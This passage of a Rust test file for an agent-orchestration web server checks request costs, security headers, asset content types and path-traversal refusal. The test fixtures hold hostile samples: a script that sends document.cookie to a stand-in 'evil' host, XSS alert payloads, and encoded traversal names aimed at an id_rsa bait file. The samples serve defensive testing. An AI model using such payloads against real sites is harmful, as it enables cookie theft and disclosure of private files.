8283 let (cfg, _) = Config::discover(&repo, None).unwrap();
8284 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8285 repos.push(repo);
8286 }
8287 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8288 (tmp, repos)
8289 }
8290
8291 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8292 let (tmp, repos) = performance_repositories().await;
8293 let machine = tmp.path().join("machine.toml");
8294 std::fs::write(&machine, "").unwrap();
8295 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8296 (tmp, repos, fx)
8297 }
8298
8299 fn seed_performance(
8300 fx: &Fixture,
8301 repos: &[PathBuf; 2],
8302 questions: usize,
8303 runs: usize,
8304 items: usize,
8305 ) {
8306 for i in fx.questions().list().len()..questions {
8308 let mut question = Question::new(
8309 "20261001-000000-0000".into(),
8310 "implement".into(),
8311 "impl-A".into(),
8312 format!("question {i}"),
8313 "context".into(),
8314 vec!["yes".into(), "no".into()],
8315 );
8316 question.id = format!("20261003-000000-{i:04x}");
8317 fx.questions().put(&mut question).unwrap();
8318 }
8319 for i in run_ids(&fx.runs()).len()..runs {
8320 write_run_repo(
8321 &fx.runs(),
8322 &format!("20261001-000000-{i:04x}"),
8323 RunStatus::Ready,
8324 repos[i % 2].to_str().unwrap(),
8325 );
8326 }
8327 for i in fx.talks().list().len()..items {
8328 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8329 let mut talk = fx.talks().get(&id).unwrap();
8330 talk.repo = repos[i % 2].clone();
8331 fx.talks().put(&mut talk).unwrap();
8332 let mut task = crate::queue::Task::new(
8333 format!("task {i}"),
8334 "instruction".into(),
8335 repos[i % 2].clone(),
8336 crate::queue::Source::Agent {
8337 run: id,
8338 node: crate::queue::CHAT_NODE.into(),
8339 },
8340 );
8341 task.id = format!("20261004-000000-{i:04x}");
8342 fx.queue().put(&mut task).unwrap();
8343 if i < crate::notices::CAP {
8345 Notices::at(fx.home.path().join("notifications"))
8346 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8347 .unwrap();
8348 }
8349 }
8350 assert_eq!(fx.questions().list().len(), questions);
8351 assert_eq!(run_ids(&fx.runs()).len(), runs);
8352 assert_eq!(fx.talks().list().len(), items);
8353 assert_eq!(fx.queue().list().len(), items);
8354 assert_eq!(
8355 Notices::at(fx.home.path().join("notifications"))
8356 .list()
8357 .len(),
8358 items.min(crate::notices::CAP)
8359 );
8360 }
8361
8362 fn request_counts(res: &Res) -> (usize, usize) {
8363 assert_eq!(res.status, 200, "{}", res.body);
8364 (
8365 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8366 res.header("x-test-git").unwrap().parse().unwrap(),
8367 )
8368 }
8369
8370 #[tokio::test]
8371 async fn list_request_cost_is_independent_of_record_count() {
8372 let (_tmp, repos, fx) = performance_fixture().await;
8373 let mut previous = None;
8374 for n in [4, 60] {
8375 seed_performance(&fx, &repos, n, n, n);
8376 let mut costs = Vec::new();
8377 for (path, discoveries) in [
8378 ("/api/questions", 1),
8379 ("/api/talks", 2),
8380 ("/api/health", 1),
8381 ("/api/stats", 1),
8382 ] {
8383 for repo in &repos {
8386 let cache = repo.join(".git/magi/config");
8387 if cache.exists() {
8388 std::fs::remove_dir_all(cache).unwrap();
8389 }
8390 }
8391 let cost = request_counts(&fx.get(path).await);
8392 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8393 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8394 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8395 costs.push(cost);
8396 }
8397 if let Some(previous) = previous {
8398 assert_eq!(costs, previous);
8399 }
8400 previous = Some(costs);
8401 }
8402 }
8406
8407 #[tokio::test]
8410 async fn list_handler_cost_without_transport() {
8411 let (_tmp, repos) = performance_repositories().await;
8412 let fx = Fixture {
8413 home: TempDir::new().unwrap(),
8414 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8415 };
8416 let ui = Arc::new(
8417 Ui::new(
8418 fx.queue(),
8419 fx.questions(),
8420 fx.talks(),
8421 fx.runs(),
8422 fx.home.path().to_path_buf(),
8423 repos[0].clone(),
8424 )
8425 .with_worktrees_root(fx.home.path().join("wt")),
8426 );
8427 let mut previous = None;
8428 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8429 seed_performance(&fx, &repos, n, runs, items);
8430 let mut costs = Vec::new();
8431 for endpoint in ["questions", "talks", "health", "stats"] {
8432 for repo in &repos {
8433 let cache = repo.join(".git/magi/config");
8434 if cache.exists() {
8435 std::fs::remove_dir_all(cache).unwrap();
8436 }
8437 }
8438 let (_, cost) = request_cost::measure(async {
8439 match endpoint {
8440 "questions" => {
8441 let _ = questions_list(State(ui.clone())).await.unwrap();
8442 }
8443 "talks" => {
8444 let _ = talks_list(
8445 State(ui.clone()),
8446 Query(ListQuery {
8447 limit: None,
8448 ids: None,
8449 }),
8450 )
8451 .await
8452 .unwrap();
8453 }
8454 "health" => {
8455 let _ = health(State(ui.clone())).await.unwrap();
8456 }
8457 _ => {
8458 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8459 .await
8460 .unwrap();
8461 }
8462 }
8463 })
8464 .await;
8465 eprintln!("{endpoint} handler N={n}: {cost:?}");
8466 assert_eq!(
8467 cost.0,
8468 if endpoint == "talks" { 2 } else { 1 },
8469 "{endpoint}"
8470 );
8471 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8472 costs.push(cost);
8473 }
8474 if let Some(previous) = previous {
8475 assert_eq!(costs, previous);
8476 }
8477 previous = Some(costs);
8478 }
8479 }
8480
8481 #[tokio::test]
8482 async fn list_request_cost_scopes_do_not_mix() {
8483 let (_tmp, repos, fx) = performance_fixture().await;
8484 seed_performance(&fx, &repos, 10, 0, 10);
8485 let (questions, talks, notices) = tokio::join!(
8486 fx.get("/api/questions"),
8487 fx.get("/api/talks"),
8488 fx.get("/api/notifications")
8489 );
8490 assert_eq!(request_counts(&questions).0, 1);
8491 assert_eq!(request_counts(&talks).0, 2);
8492 assert_eq!(request_counts(¬ices), (0, 0));
8493 }
8494
8495 #[tokio::test]
8496 async fn list_endpoints_large_home_ceiling() {
8497 let (_tmp, repos, fx) = performance_fixture().await;
8498 seed_performance(&fx, &repos, 200, 300, 400);
8499 let mut failures = Vec::new();
8500 for path in [
8503 "/",
8504 "/app.js",
8505 "/app.css",
8506 "/api/questions",
8507 "/api/runs?limit=300",
8508 "/api/queue",
8509 "/api/talks",
8510 "/api/notifications",
8511 "/api/health",
8512 "/api/stats",
8513 "/api/loop",
8514 "/api/settings",
8515 "/api/repos",
8516 ] {
8517 let start = std::time::Instant::now();
8518 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8519 let elapsed = start.elapsed();
8520 eprintln!("{path}: {elapsed:?}");
8521 match result {
8522 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8523 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8524 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8525 }
8526 }
8527 assert!(failures.is_empty(), "{}", failures.join("\n"));
8528 }
8529
8530 struct Res {
8531 status: u16,
8532 headers: String,
8533 head: String,
8538 body: String,
8539 bytes: Vec<u8>,
8543 }
8544
8545 impl Res {
8546 fn json(&self) -> Value {
8547 serde_json::from_str(&self.body)
8548 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8549 }
8550
8551 fn header(&self, name: &str) -> Option<&str> {
8553 self.head.lines().find_map(|line| {
8554 let (key, value) = line.split_once(':')?;
8555 key.trim()
8556 .eq_ignore_ascii_case(name)
8557 .then(|| value.trim_start().trim_end_matches('\r'))
8558 })
8559 }
8560 }
8561
8562 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8565 request_with(addr, method, path, body, &[]).await
8566 }
8567
8568 async fn request_with(
8572 addr: SocketAddr,
8573 method: &str,
8574 path: &str,
8575 body: Option<&str>,
8576 extra: &[(&str, &str)],
8577 ) -> Res {
8578 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8579 for (name, value) in extra {
8580 head.push_str(&format!("{name}: {value}\r\n"));
8581 }
8582 if let Some(body) = body {
8583 head.push_str("Content-Type: application/json\r\n");
8584 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8585 }
8586 head.push_str("\r\n");
8587 if let Some(body) = body {
8588 head.push_str(body);
8589 }
8590 let mut socket = tokio::net::TcpStream::connect(addr)
8591 .await
8592 .expect("connect to the test server");
8593 socket
8594 .write_all(head.as_bytes())
8595 .await
8596 .expect("write request");
8597 let mut raw = Vec::new();
8598 socket.read_to_end(&mut raw).await.expect("read response");
8599 let split = raw
8602 .windows(4)
8603 .position(|w| w == b"\r\n\r\n")
8604 .expect("a header block");
8605 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8606 let bytes = raw[split + 4..].to_vec();
8607 let status = head
8608 .lines()
8609 .next()
8610 .and_then(|line| line.split_whitespace().nth(1))
8611 .and_then(|code| code.parse().ok())
8612 .expect("a status line");
8613 Res {
8614 status,
8615 headers: head.to_lowercase(),
8616 head,
8617 body: String::from_utf8_lossy(&bytes).into_owned(),
8618 bytes,
8619 }
8620 }
8621
8622 async fn request_bytes(
8628 addr: SocketAddr,
8629 path: &str,
8630 headers: &[(&str, &str)],
8631 body: &[u8],
8632 ) -> Res {
8633 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8634 for (name, value) in headers {
8635 head.push_str(&format!("{name}: {value}\r\n"));
8636 }
8637 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8638 let mut socket = tokio::net::TcpStream::connect(addr)
8639 .await
8640 .expect("connect to the test server");
8641 socket
8642 .write_all(head.as_bytes())
8643 .await
8644 .expect("write request head");
8645 socket.write_all(body).await.expect("write request body");
8646 let mut raw = Vec::new();
8647 socket.read_to_end(&mut raw).await.expect("read response");
8648 let split = raw
8649 .windows(4)
8650 .position(|w| w == b"\r\n\r\n")
8651 .expect("a header block");
8652 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8653 let bytes = raw[split + 4..].to_vec();
8654 let status = head
8655 .lines()
8656 .next()
8657 .and_then(|line| line.split_whitespace().nth(1))
8658 .and_then(|code| code.parse().ok())
8659 .expect("a status line");
8660 Res {
8661 status,
8662 headers: head.to_lowercase(),
8663 head,
8664 body: String::from_utf8_lossy(&bytes).into_owned(),
8665 bytes,
8666 }
8667 }
8668
8669 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8671 let mut state = RunState::new(
8672 PathBuf::from("/repo/magi"),
8673 "main".to_owned(),
8674 "0123456789abcdef".to_owned(),
8675 "Add a web UI\n\nMobile first.".to_owned(),
8676 Config::default(),
8677 );
8678 state.id = id.to_owned();
8679 state.status = status;
8680 let dir = runs.join(id);
8681 std::fs::create_dir_all(&dir).expect("run dir");
8682 std::fs::write(
8683 dir.join("run.json"),
8684 serde_json::to_string_pretty(&state).expect("serialize run"),
8685 )
8686 .expect("write run.json");
8687 }
8688
8689 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8693 let mut state = RunState::new(
8694 PathBuf::from(repo),
8695 "main".to_owned(),
8696 "0123456789abcdef".to_owned(),
8697 "task".to_owned(),
8698 Config::default(),
8699 );
8700 state.id = id.to_owned();
8701 state.status = status;
8702 let dir = runs.join(id);
8703 std::fs::create_dir_all(&dir).expect("run dir");
8704 std::fs::write(
8705 dir.join("run.json"),
8706 serde_json::to_string_pretty(&state).expect("serialize run"),
8707 )
8708 .expect("write run.json");
8709 }
8710
8711 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8712 let body = serde_json::json!({
8713 "schema": 1,
8714 "pid": 4242,
8715 "started_at": Timestamp::now().to_string(),
8716 "updated_at": updated_at.to_string(),
8717 "idle": false,
8718 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8719 "completed": 7,
8720 "polls": 143,
8721 });
8722 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8723 }
8724
8725 fn launch_idle(
8735 _opts: daemon::Opts,
8736 stop: daemon::Stop,
8737 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8738 Box::pin(async move {
8739 while !stop.stopped() {
8740 tokio::time::sleep(Duration::from_millis(2)).await;
8741 }
8742 Ok(())
8743 })
8744 }
8745
8746 fn launch_broken(
8749 _opts: daemon::Opts,
8750 _stop: daemon::Stop,
8751 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8752 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8757 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8758 Box::pin(async move {
8759 Err(anyhow::anyhow!(if first {
8760 "publish the daemon status file: read-only file system"
8761 } else {
8762 "the restarted stand-in failed as well"
8763 }))
8764 })
8765 }
8766
8767 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8774 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8775
8776 fn launch_knocking_on_the_way_out(
8783 _opts: daemon::Opts,
8784 stop: daemon::Stop,
8785 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8786 Box::pin(async move {
8787 while !stop.stopped() {
8788 tokio::time::sleep(Duration::from_millis(2)).await;
8789 }
8790 let addr = PARK_KNOCK
8791 .lock()
8792 .expect("park knock")
8793 .expect("the test set an address");
8794 let heard = request(addr, "GET", "/api/health", None).await.status;
8795 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8796 Ok(())
8797 })
8798 }
8799
8800 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8809 for _ in 0..SETTLE_STEPS {
8810 let view = fx.get("/api/loop").await.json();
8811 if want(&view) {
8812 return view;
8813 }
8814 tokio::time::sleep(Duration::from_millis(10)).await;
8815 }
8816 panic!(
8817 "the loop never settled: {}",
8818 fx.get("/api/loop").await.json()
8819 );
8820 }
8821
8822 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8824 let store = fx.questions();
8825 let mut q = Question::new(
8826 "20260902-000000-beef".to_owned(),
8827 "implement".to_owned(),
8828 "impl-A".to_owned(),
8829 summary.to_owned(),
8830 "because it matters".to_owned(),
8831 choices.iter().map(|c| (*c).to_owned()).collect(),
8832 );
8833 store.put(&mut q).expect("put question");
8834 q.id
8835 }
8836
8837 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8843 let store = fx.questions();
8844 let mut q = Question::new(
8845 "20260902-000000-beef".to_owned(),
8846 "land".to_owned(),
8847 "fix".to_owned(),
8848 "Merge this?".to_owned(),
8849 "the diff is in the panel".to_owned(),
8850 vec!["merge".to_owned(), "hold".to_owned()],
8851 );
8852 let staging = fx.home.path().join("staging");
8855 std::fs::create_dir_all(&staging).expect("staging dir");
8856 let sources: Vec<PathBuf> = assets
8857 .iter()
8858 .map(|(name, bytes)| {
8859 let path = staging.join(name);
8860 std::fs::write(&path, bytes).expect("write staged asset");
8861 path
8862 })
8863 .collect();
8864 store
8865 .put_panel(&mut q, html, &sources)
8866 .expect("write the panel");
8867 store.put(&mut q).expect("put question");
8868 q.id
8869 }
8870
8871 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8880 seed_talk_at(&fx.talks(), id, status)
8881 }
8882
8883 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8884 std::fs::create_dir_all(store.root()).expect("talks dir");
8885 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8886 .expect("serialize a seat");
8887 let body = serde_json::json!({
8888 "schema": 1,
8889 "id": id,
8890 "repo": "/repo/magi",
8891 "agent": "mock",
8892 "status": status,
8893 "turns": [],
8894 "created_at": Timestamp::now().to_string(),
8895 "updated_at": Timestamp::now().to_string(),
8896 "seat": seat,
8897 });
8898 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8899 store.get(id).expect("the seeded talk has to be readable");
8900 id.to_owned()
8901 }
8902
8903 #[tokio::test]
8904 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8905 let fx = Fixture::start().await;
8906 let id = panel(
8907 &fx,
8908 "<h1>Merge?</h1><img src=\"diff.svg\">",
8909 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8910 );
8911
8912 for path in [
8913 format!("/api/questions/{id}/panel"),
8914 format!("/api/questions/{id}/asset/diff.svg"),
8915 ] {
8916 let res = fx.get(&path).await;
8917 assert_eq!(res.status, 200, "{path}: {}", res.body);
8918 assert_eq!(
8924 res.header("content-security-policy"),
8925 Some(
8926 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8927 font-src data:; base-uri 'none'; form-action 'none'; \
8928 frame-ancestors 'self'"
8929 ),
8930 "{path} is the only thing between a hostile panel and the tailnet"
8931 );
8932 assert_eq!(
8933 res.header("x-content-type-options"),
8934 Some("nosniff"),
8935 "{path}: a browser must not re-decide the type we sent"
8936 );
8937 assert_eq!(
8938 res.header("referrer-policy"),
8939 Some("no-referrer"),
8940 "{path}: a panel must not leak the question id off the machine"
8941 );
8942
8943 let pre = fx.head(&path).await;
8948 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8949 assert_eq!(
8950 pre.header("content-security-policy"),
8951 res.header("content-security-policy"),
8952 "{path}: the preflight carries the same policy"
8953 );
8954 assert_eq!(
8955 pre.header("content-type"),
8956 res.header("content-type"),
8957 "{path}: the preflight carries the same type"
8958 );
8959 }
8960 }
8961
8962 #[tokio::test]
8963 async fn a_panel_reaches_the_browser_byte_for_byte() {
8964 let fx = Fixture::start().await;
8965 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8970 let id = panel(&fx, html, &[]);
8971
8972 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8973
8974 assert_eq!(res.status, 200);
8975 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8976 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8977 assert_eq!(
8978 res.header("content-disposition"),
8979 None,
8980 "the panel itself is rendered in the frame, not downloaded"
8981 );
8982 }
8983
8984 #[tokio::test]
8985 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8986 let fx = Fixture::start().await;
8987 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8988 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8989 let id = panel(
8990 &fx,
8991 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8992 &[("diff.svg", svg), ("shot.png", png)],
8993 );
8994
8995 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8996 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8997
8998 assert_eq!(as_svg.status, 200);
8999 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9000 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9005
9006 assert_eq!(as_png.status, 200);
9007 assert_eq!(as_png.header("content-type"), Some("image/png"));
9008 assert_eq!(
9009 as_png.header("content-disposition"),
9010 None,
9011 "a raster image has no execution surface, so tapping it still shows it"
9012 );
9013 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9014 }
9015
9016 #[tokio::test]
9017 async fn an_html_asset_is_never_served_as_html() {
9018 let fx = Fixture::start().await;
9019 let id = panel(
9020 &fx,
9021 "<p>see the notes</p>",
9022 &[
9023 (
9024 "notes.html",
9025 b"<script>fetch('http://evil/'+document.cookie)</script>",
9026 ),
9027 ("hook.js", b"fetch('http://evil/')"),
9028 ("data.json", b"{}"),
9029 ("HEADLINE.TXT", b"plain"),
9030 ],
9031 );
9032
9033 for name in ["notes.html", "hook.js", "data.json"] {
9034 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9035 assert_eq!(res.status, 200, "{name}: {}", res.body);
9036 assert_eq!(
9041 res.header("content-type"),
9042 Some("application/octet-stream"),
9043 "{name} must not be a type the browser will execute or render"
9044 );
9045 }
9046 let txt = fx
9049 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9050 .await;
9051 assert_eq!(
9052 txt.header("content-type"),
9053 Some("text/plain; charset=utf-8")
9054 );
9055 }
9056
9057 #[tokio::test]
9058 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9059 let fx = Fixture::start().await;
9060 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9061 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9065
9066 for encoded in [
9073 "%2e%2e%2fid_rsa",
9074 "..%2fid_rsa",
9075 "..%5cid_rsa",
9076 "%2e%2e%5cid_rsa",
9077 "diff%00.svg",
9078 "..",
9079 ".hidden",
9080 "%2e%2e%2f%2e%2e%2fid_rsa",
9081 ] {
9082 let res = fx
9083 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9084 .await;
9085 assert_eq!(
9086 res.status, 400,
9087 "`{encoded}` has to be refused by name, not looked up: {}",
9088 res.body
9089 );
9090 assert!(res.json()["error"].is_string(), "{}", res.body);
9091 }
9092
9093 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9099 let res = fx
9100 .get(&format!("/api/questions/{id}/asset/{literal}"))
9101 .await;
9102 assert_eq!(
9103 res.status, 404,
9104 "`{literal}` must not match the asset route at all: {}",
9105 res.body
9106 );
9107 }
9108 }
9109
9110 #[tokio::test]
9111 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9112 let fx = Fixture::start().await;
9113 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9114 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9115
9116 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9120 assert_eq!(none.status, 404, "{}", none.body);
9121 assert!(none.json()["error"].is_string(), "{}", none.body);
9122 assert_eq!(
9123 fx.head(&format!("/api/questions/{plain}/panel"))
9124 .await
9125 .status,
9126 404,
9127 "the preflight is the only way the client can learn this"
9128 );
9129
9130 let missing = fx
9132 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9133 .await;
9134 assert_eq!(missing.status, 404, "{}", missing.body);
9135 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9136
9137 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9139 assert_eq!(
9140 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9141 404
9142 );
9143 }
9144
9145 #[tokio::test]
9146 async fn a_run_with_an_open_question_reads_as_waiting() {
9147 let fx = Fixture::start().await;
9148 let run = "20260902-000000-beef".to_owned();
9149 write_run(&fx.runs(), &run, RunStatus::Implementing);
9150
9151 let before = fx.get("/api/runs").await.json();
9152 assert_eq!(before[0]["waiting"], false, "{before}");
9153
9154 let store = fx.questions();
9155 let mut q = Question::new(
9156 run.clone(),
9157 "implement".to_owned(),
9158 "impl-A".to_owned(),
9159 "Which backend?".to_owned(),
9160 String::new(),
9161 vec!["SQLite".to_owned()],
9162 );
9163 store.put(&mut q).expect("put");
9164
9165 let during = fx.get("/api/runs").await.json();
9166 assert_eq!(during[0]["waiting"], true, "{during}");
9167
9168 q.answer(Answer::Choice("SQLite".to_owned()))
9171 .expect("answer");
9172 store.put(&mut q).expect("put");
9173 let after = fx.get("/api/runs").await.json();
9174 assert_eq!(after[0]["waiting"], false, "{after}");
9175 }
9176
9177 #[tokio::test]
9178 async fn an_open_question_is_listed_and_counted_by_health() {
9179 let fx = Fixture::start().await;
9180 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9181
9182 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9183 let listed = fx.get("/api/questions").await.json();
9184 assert_eq!(listed.as_array().expect("array").len(), 1);
9185 assert_eq!(listed[0]["id"], id);
9186 assert_eq!(listed[0]["status"], "open");
9187 assert_eq!(listed[0]["choices"][1], "Redis");
9188 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9191 }
9192
9193 #[tokio::test]
9194 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9195 let fx = Fixture::start().await;
9196 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9197 let path = format!("/api/questions/{id}/answer");
9198
9199 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9200 assert_eq!(res.status, 200, "{}", res.body);
9201 let body = res.json();
9202 assert_eq!(body["status"], "answered");
9203 assert_eq!(body["answer"]["choice"], "Redis");
9204
9205 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9209 assert_eq!(again.status, 409, "{}", again.body);
9210 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9211 }
9212
9213 #[tokio::test]
9214 async fn saying_something_appends_a_turn_without_answering() {
9215 let fx = Fixture::start().await;
9216 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9217 let path = format!("/api/questions/{id}/say");
9218
9219 let res = fx
9220 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9221 .await;
9222 assert_eq!(res.status, 200, "{}", res.body);
9223 let body = res.json();
9224 assert_eq!(body["status"], "open", "talking back is not a decision");
9225 assert_eq!(body["answer"], Value::Null);
9226 assert_eq!(body["thread"][0]["who"], "operator");
9227 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9228 assert_eq!(body["waiting_on_agent"], true);
9229 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9231 }
9232
9233 #[tokio::test]
9234 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9235 let fx = Fixture::start().await;
9236 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9237
9238 let list = fx.get("/api/questions").await.json();
9239 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9240
9241 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9242 assert_eq!(res.status, 409, "{}", res.body);
9243 let q = fx.questions().get(&id).unwrap();
9244 assert!(q.status.open());
9245 assert!(q.consult.is_none());
9246 }
9247
9248 #[tokio::test]
9249 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9250 let fx = Fixture::start().await;
9251 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9252 let cfg = Config {
9253 agents: vec![crate::config::AgentSpec {
9254 id: "mock".to_owned(),
9255 kind: crate::config::AgentKind::Command,
9256 model: None,
9257 command: vec!["true".to_owned()],
9258 extra_args: Vec::new(),
9259 env: Default::default(),
9260 prompt_delivery: None,
9261 }],
9262 ..Config::default()
9263 };
9264 let talk = crate::talk::begin(
9265 &fx.talks(),
9266 &cfg,
9267 fx.home.path().to_path_buf(),
9268 Some("mock"),
9269 )
9270 .unwrap();
9271 let mut task = Task::new(
9272 "t".to_owned(),
9273 "Do it".to_owned(),
9274 PathBuf::from("/repo/magi"),
9275 Source::Agent {
9276 run: talk.id.clone(),
9277 node: crate::queue::CHAT_NODE.to_owned(),
9278 },
9279 );
9280 task.start("20260902-000000-beef".to_owned());
9281 fx.queue().put(&mut task).unwrap();
9282
9283 let list = fx.get("/api/questions").await.json();
9284 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9285 assert_eq!(
9286 list[0]["choices"],
9287 serde_json::json!(["SQLite", "Redis"]),
9288 "the hand-over is never a choice"
9289 );
9290 fx.questions()
9291 .update(&id, |q| {
9292 q.node = crate::land::APPROVAL_NODE.into();
9293 q.choices = vec!["merge".into(), "hold".into()];
9294 Ok(())
9295 })
9296 .unwrap();
9297 let list = fx.get("/api/questions").await.json();
9298 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9299 let _ = id;
9300 }
9301
9302 #[tokio::test]
9303 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9304 let fx = Fixture::start().await;
9305 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9306 fx.questions()
9307 .update(&id, |q| {
9308 q.node = crate::land::APPROVAL_NODE.into();
9309 q.choices = vec!["merge".into(), "hold".into()];
9310 Ok(())
9311 })
9312 .unwrap();
9313 let cfg = Config {
9314 agents: vec![crate::config::AgentSpec {
9315 id: "mock".to_owned(),
9316 kind: crate::config::AgentKind::Command,
9317 model: None,
9318 command: vec!["true".to_owned()],
9319 extra_args: Vec::new(),
9320 env: Default::default(),
9321 prompt_delivery: None,
9322 }],
9323 ..Config::default()
9324 };
9325 let repo = fx.home.path().join("chat-repo");
9327 std::fs::create_dir_all(&repo).unwrap();
9328 let toml = repo.join("magi.toml");
9329 std::fs::write(&toml, "this is = = not toml").unwrap();
9330 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9331 let mut task = Task::new(
9332 "t".to_owned(),
9333 "Do it".to_owned(),
9334 PathBuf::from("/repo/magi"),
9335 Source::Agent {
9336 run: talk.id.clone(),
9337 node: crate::queue::CHAT_NODE.to_owned(),
9338 },
9339 );
9340 task.start("20260902-000000-beef".to_owned());
9341 fx.queue().put(&mut task).unwrap();
9342
9343 let path = format!("/api/questions/{id}/consult");
9344 let res = fx.post(&path, None).await;
9345 assert!(res.status >= 400, "{}", res.body);
9346 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9347 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9348
9349 std::fs::write(&toml, "").unwrap();
9350 let res = fx.post(&path, None).await;
9351 assert_eq!(res.status, 202, "{}", res.body);
